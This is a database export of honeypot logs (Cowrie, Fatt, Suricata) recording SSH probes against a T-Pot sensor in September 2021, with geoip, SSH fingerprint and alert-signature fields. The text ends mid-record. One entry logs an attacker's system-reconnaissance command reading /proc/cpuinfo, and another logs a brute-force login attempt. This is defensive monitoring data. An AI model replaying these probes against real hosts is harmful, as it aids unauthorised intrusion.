19753	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:00:33.240582+03	2021-09-20 14:15:01.504613+03	{"_id": "EQXdAnwBvYTbRNuEXPVi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "1f6855c19cea", "@version": "1", "duration": 3.1778013706207275, "timestamp": "2021-09-20T11:00:33.240582Z", "@timestamp": "2021-09-20T11:00:33.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
19754	42.192.44.134	109.199.241.180	Fatt	2021-09-20 14:00:34.769975+03	2021-09-20 14:15:01.506614+03	{"_id": "EgXdAnwBvYTbRNuEYPUV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "42.192.44.134", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 33982, "dest_port": 22, "timestamp": "2021-09-20T11:00:34.769975", "@timestamp": "2021-09-20T11:00:34.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
19756	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:00:34.519598+03	2021-09-20 14:15:01.508613+03	{"_id": "GgXdAnwBvYTbRNuEYPWq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "42.192.44.134", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33982, "timestamp": "2021-09-20T11:00:34.519598", "@timestamp": "2021-09-20T11:00:34.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
19757	42.192.44.134	109.199.241.180	Cowrie	2021-09-20 14:00:34.770575+03	2021-09-20 14:15:01.509614+03	{"_id": "GwXdAnwBvYTbRNuEYPWq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "42.192.44.134", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "eca2c611d907", "@version": "1", "timestamp": "2021-09-20T11:00:34.770575Z", "@timestamp": "2021-09-20T11:00:34.770Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
19758	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:00:09.856119+03	2021-09-20 14:15:01.511613+03	{"_id": "1AXdAnwBvYTbRNuEAfSx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:00:04.513303+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 390}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "118.70.233.117", "flow_id": 976443260851479, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 57854, "timestamp": "2021-09-20T11:00:09.856119Z", "@timestamp": "2021-09-20T11:00:09.856Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
19759	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:10.90415+03	2021-09-20 14:15:01.512613+03	{"_id": "1gXdAnwBvYTbRNuEAvSA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:10.904150Z", "@timestamp": "2021-09-20T11:00:10.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19760	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:10.488827+03	2021-09-20 14:15:01.513612+03	{"_id": "1QXdAnwBvYTbRNuEAvSA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "36.27.214.211", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 0.5860552787780762, "duplicate": true, "timestamp": "2021-09-20T11:00:10.488827Z", "@timestamp": "2021-09-20T11:00:10.488Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19761	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:11.488719+03	2021-09-20 14:15:01.514612+03	{"_id": "2wXdAnwBvYTbRNuEBvRo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "36.27.214.211", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 0.5852441787719727, "duplicate": true, "timestamp": "2021-09-20T11:00:11.488719Z", "@timestamp": "2021-09-20T11:00:11.488Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19762	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:11.884254+03	2021-09-20 14:15:01.515612+03	{"_id": "2gXdAnwBvYTbRNuEBvRo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.params", "message": [], "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:11.884254Z", "@timestamp": "2021-09-20T11:00:11.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19763	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:00:12.275881+03	2021-09-20 14:15:01.517613+03	{"_id": "3AXdAnwBvYTbRNuECfSC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 10110, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2186140127606185, "@version": "1", "in_iface": "enp5s0", "src_port": 43469, "dest_port": 53, "timestamp": "2021-09-20T11:00:12.275881Z", "@timestamp": "2021-09-20T11:00:12.275Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19764	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:00:12.576499+03	2021-09-20 14:15:01.518614+03	{"_id": "3QXdAnwBvYTbRNuECfSC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 34729, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2634, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1111245104923913, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 46881, "timestamp": "2021-09-20T11:00:12.576499Z", "@timestamp": "2021-09-20T11:00:12.576Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19765	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:00:25.728229+03	2021-09-20 14:15:01.519613+03	{"_id": "AgXdAnwBvYTbRNuEQPU6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:00:04.513303+0000", "pkts_toclient": 0, "pkts_toserver": 7, "bytes_toclient": 0, "bytes_toserver": 546}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "118.70.233.117", "flow_id": 976443260851479, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 57854, "timestamp": "2021-09-20T11:00:25.728229Z", "@timestamp": "2021-09-20T11:00:25.728Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
19766	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:00:15.23221+03	2021-09-20 14:15:01.521613+03	{"_id": "-gXdAnwBvYTbRNuEFfQ8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:00:04.513303+0000", "pkts_toclient": 0, "pkts_toserver": 6, "bytes_toclient": 0, "bytes_toserver": 468}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "118.70.233.117", "flow_id": 976443260851479, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 57854, "timestamp": "2021-09-20T11:00:15.232210Z", "@timestamp": "2021-09-20T11:00:15.232Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
19767	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:15.183272+03	2021-09-20 14:15:01.522613+03	{"_id": "_AXdAnwBvYTbRNuEFvQK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "36.27.214.211", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 0.29601049423217773, "duplicate": true, "timestamp": "2021-09-20T11:00:15.183272Z", "@timestamp": "2021-09-20T11:00:15.183Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19768	42.192.44.134	109.199.241.180	Cowrie	2021-09-20 14:00:34.519072+03	2021-09-20 14:15:01.523612+03	{"_id": "FwXdAnwBvYTbRNuEYPWq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.44.134", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "eca2c611d907", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:00:34.519072Z", "@timestamp": "2021-09-20T11:00:34.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
19769	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:15.187781+03	2021-09-20 14:15:01.525613+03	{"_id": "-wXdAnwBvYTbRNuEFvQK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 29 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 29.72143030166626, "timestamp": "2021-09-20T11:00:15.187781Z", "@timestamp": "2021-09-20T11:00:15.187Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
19770	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:45.911517+03	2021-09-20 14:15:01.526613+03	{"_id": "QgXdAnwBvYTbRNuEi_Wl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "355afc3fd41b", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:00:45.911517Z", "@timestamp": "2021-09-20T11:00:45.911Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
19771	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:00:46.598611+03	2021-09-20 14:15:01.527613+03	{"_id": "RAXdAnwBvYTbRNuEjvVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1461293531612522, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58105, "dest_port": 22, "timestamp": "2021-09-20T11:00:46.598611Z", "@timestamp": "2021-09-20T11:00:46.598Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
19772	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:00:46.598766+03	2021-09-20 14:15:01.528613+03	{"_id": "QwXdAnwBvYTbRNuEjvVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:00:45.083306+0000", "pkts_toclient": 4, "pkts_toserver": 6, "bytes_toclient": 895, "bytes_toserver": 1283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1461293531612522, "payload": 